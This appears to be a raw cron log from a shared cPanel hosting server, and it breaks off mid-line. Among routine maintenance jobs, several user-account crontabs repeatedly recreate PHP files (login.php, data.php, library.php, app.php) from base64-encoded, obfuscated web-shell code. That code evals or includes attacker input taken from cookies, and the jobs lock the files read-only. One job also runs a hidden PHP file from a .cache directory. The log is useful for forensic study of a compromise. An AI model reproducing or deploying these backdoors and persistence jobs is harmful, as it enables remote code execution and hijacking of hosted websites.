"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:34:02 medusa CROND[14896]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:34:02 medusa CROND[14898]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:34:02 medusa CROND[14906]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:34:02 medusa CROND[14907]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:34:02 medusa CROND[14908]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:34:02 medusa CROND[14909]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:34:02 medusa CROND[14914]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:34:02 medusa CROND[14915]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:35:02 medusa CROND[6001]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 17:35:02 medusa CROND[6002]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 17:35:02 medusa CROND[6003]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:35:02 medusa CROND[6004]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 17:35:02 medusa CROND[6005]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 17:35:02 medusa CROND[6008]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 17:35:02 medusa CROND[6012]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:35:02 medusa CROND[6010]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:35:02 medusa CROND[6015]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:35:02 medusa CROND[6017]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:35:02 medusa CROND[6014]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 17:35:02 medusa CROND[6022]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:35:02 medusa CROND[6018]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 17:35:02 medusa CROND[6023]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 17:35:02 medusa CROND[6009]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 17:35:02 medusa CROND[6020]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 17:35:02 medusa CROND[6013]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 17:35:02 medusa CROND[6026]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  1 17:35:02 medusa CROND[6028]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:35:02 medusa CROND[6039]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:35:02 medusa CROND[6044]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:35:02 medusa CROND[6046]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:35:02 medusa CROND[6038]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 17:35:02 medusa CROND[6040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:35:02 medusa CROND[6041]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 17:36:01 medusa CROND[28074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:36:01 medusa CROND[28158]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:36:01 medusa CROND[28219]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:36:01 medusa CROND[28218]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 17:36:01 medusa CROND[28222]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:36:01 medusa CROND[28221]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6Omc